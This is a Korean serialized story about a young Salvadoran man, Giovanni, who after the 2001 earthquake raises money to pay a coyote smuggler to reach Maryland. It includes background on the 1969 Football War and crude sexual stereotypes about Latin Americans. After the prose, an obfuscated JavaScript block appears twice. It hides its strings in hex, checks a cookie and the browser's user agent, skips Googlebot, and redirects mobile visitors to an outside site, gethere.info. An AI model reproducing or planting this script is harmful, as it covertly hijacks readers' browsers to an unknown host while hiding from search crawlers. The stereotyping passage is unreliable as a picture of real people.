아픈다리 서로 기대며 (5)

1970년 엘살바도르의 제2의 도시인 성미겔에서 남서쪽으로 40여킬로 떨어진 우술루탄이라는 조그만 시골읍내, 이태리계 아내를 둔 안토니오의 집에 사내아이가 태어났다. 그는 사내아이의 이름을 죠바니로 지어줬다. 우술루탄에서 서쪽으로40여 킬로를 가면 태평양연안이고, 북동쪽으로는 생미겔화산이 있고 조금 더 올라가면 온두라스의 국경과 연해 있다.

1969년, 그러니까 죠반니가 태어나기 1년 전에 엘살바도르는 온두라스와 브라질월드컵 북중미 예선전을 치루었는데 선수단 숙소의 소란문제들로 감정이 격해지더니 결국 엘살바도르는 온두라스 도시들을 폭격하고 국경의 25킬로미터까지 진격을 하는 소위‘100시간 전쟁’을 벌였다. 조기에 휴전을 했지만 이 축구전쟁으로 수천 명이 죽고, 수만의 부상자가 발생하였다. 15만 명이 집을 잃었다.

나라전체가 경상북도보다 적으니 전쟁의 피해들이 사방에 미치고 있었다. 안 그래도 좁은 땅덩이에 7백만이 모여 살다 보니 식량도 부족하고 작은 동네지만 젊은이들은 열다섯 살만 넘으면 일부는 온두라스로 건너가서 온두라스의 경제권을 쥐고 있는 엘살바도르 사업주에게서 밥벌이를 하기도 하고, 대부분은 미국으로 가려고 기를 쓴다. 중남미

나라 중에서 면적이 가장 좁고 인구는 많아서 자연스럽게 주변 나라들에 비해서 근면하고 억척스럽기도 해서 ‘중남미의 일본인들’이라고 미국잡지에 소개되기도 했었다.

imagesCAOTU4UW

 

‘미국으로 떠나야겠어요.’

‘엘레나와 소피는 어떻게 하고,’

‘마르코가 일하고 있는 식당에 사람이 필요한 것 같으니 지금 결심을 하지 않으면 안돼요.’

부서진 집 옆에 나무기둥을 세 개 세우고 겨우 비를 피할 수 있는 비닐천막 안에서 죠바니는 양어깨사이로 유난히 머리가 푹 꺼진 아버지와 촛불을 사이에 두고 마주 앉았다.

갓 스무 살이 넘은 죠바니는 2년 전에 엘레나와 결혼을 했다. 고등학교를 마치고 생미겔에 있는 교직원 양성기관에서 교사연수를 받는 동안에 거기에서 만난 엘레나와 결혼을 하고 딸 소피를 낳은 지도 8개월이 지났다. 설령 교직을 맡게 된다고 하더라도 월 300불의 봉급으로는 가족들이 살 수가 없다. 여가로 가축을 기르고, 학교 수업만 끝나면 커피 농사일 등을 찾아야만 했다. 그러나 기다리는 발령소식은 감감하기만 하였다.

그러는 사이에 엄청난 지진이 나라 전체를 뒤흔들었다. 2001년에 진도 7.9라고 하는데, 마야력에 나오는 지구의 종말이 10년 앞당겨진 게 아닐까 생각했다. 집밖으로 몰려 나와서 하늘을 올려다봤지만 하늘은 멀쩡한데 집들이 몇 차례 심하게 흔들리다가 푹푹 쓰러지는 것이었다. 식구들이 간신히 몸을 피했기 망정이지 동네에서만 30여명이 쓰러진 집에 깔려 죽었다.

남동생 둘과 막내 여동생까지 여덟 명이서 두 군데 커피 밭 600평과 소 3마리, 돼지, 염소 몇 마리를 가축해서 생활하기는 너무 힘들었다. 식구들은 자연스레 고등학교까지 나온 죠바니에게 기대를 걸고 있다는 걸 영리한 그가 모를 리가 없다. 3년 전에 미국으로 건너간 한 살 아래 사촌동생 마르코가 있는 매릴랜드주로 떠날 작정을 했던 것이다.

‘돈이 얼마나 든다고 하더냐,’

더 이상 달리 말릴 수도 없는 상황인지라 안토니오는 조심스럽게 아들에게 물었다.

‘코요테 비용이 5천불이라고 하는데… ..,’

‘엘레나가 친정에서 2천불은 해 올 수 있다고 합니다.’

‘그럼 하는 수 없이 소를 팔아야 겠구만.’ 하고 담배를 뿜어 뱉으니 사십대 중반의 안토니오의 목은 어깨사이로 더욱 묻혀 들어갔다.

1301459435621[1]

 

‘코요테,’ 늑대보다는 작고 여우보다는 큰 영특한 개과의 짐승이다. 라틴아메리칸들이 아메리칸 드림을 꿈꾸고 아르헨, 브라질, 콜롬비아, 파나마, 코스타리카, 니콰라과, 엘살바도르, 과테말라를 지나 멕시코에 이르는 실크로드(?)의 절대자, 여행가이드 겸 길 안내자들을 이들은 코요테라고 부른다.

미국으로 출발하기 전날은 성미겔에 있는 엘레나의 친정집에서 마지막 밤을 보냈다. 가이드비용 5천불을 마련하기 위해 하는 수 없이 아버지는 가족의 생명줄과 같은 소 3마리중 두 마리를 팔았다. 그래도 천불이 부족했는데 마르꼬가 도착한 뒤에 후불하기로 하고 계약을 했다. 미국에 가족이 없는 사람들은 선불로 지급을 해야 하고 코요테가격도 약간 더 비싸다.

엘레나의 집은 비록 가난했지만 스패인계 백인집안이었다. 먼 친척 중에는 소위 14가문’이라고 하는 엘살바도르의 정치와 경제를 독점하고 있는 특수층도 있다는 말을 들은 것 같기도 하였다. 죠반니와 엘레나는 18살과 17살 겨울에 만났는데 보기 드물게 숫처녀 총각이었다. 13살만 넘으면 이성친구가 없다는 것을 창피해 하는 그들 세계에서 매우 희귀한 커풀이었다.

남부유럽, 즉 라틴계유럽에서 17세기 무렵부터 남미정복에 나선 이후로 이 대륙에서는 급격하게 혼혈이 이루어졌다. 그들이 신천지를 개척하기 위해서 노예로 끌고 왔던 흑인들과 원주민 등이 무차별로 섞이게 된다. 백인들은 사자들의 세계가 그렇듯이 원주민 남성들을 무자비하게 살해해버리고 남아있던 원주민 여자들에게 그들의 씨를 내렸는데 그들을 메스티조라고 하며 이들이 혼혈의 90%이상이다. 흑인과 원주민 사이에 태어난 혼혈을 삼보, 백인과 흑인사이에는 뮬라토라고 한다.

이들의 억장이 무너지는 슬픔이 그들의 눈망울망울마다에 그득히 서려있다는 걸 그들 자신들은 오히려 무덤덤해 하는 것 같다.

족보가 이렇다보니 섹스에 관한 한 서로에게 여간 관대한 것이 아니다. 무슨 ‘하룻밤에 만리장성 같은’ 얘기 하면 화성인 취급이고, ‘원 나잇 굳바이‘가 일상이다.

그러나 일단 결혼을 하고 나면 자기 암컷 지키기는 데는 누구보다 더 치열하다.

 

‘목숨을 잃을 수도 있다고 하는데……’

차마 말을 잊지 못하고 엘레나는 죠바니의 무릎에 쓰러졌다. 남편 죠바니는 소녀시절에 봤던 영화 ‘자이안트,’의 주인공 제임스 딘과 너무나 닮았다고 생각했다.

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}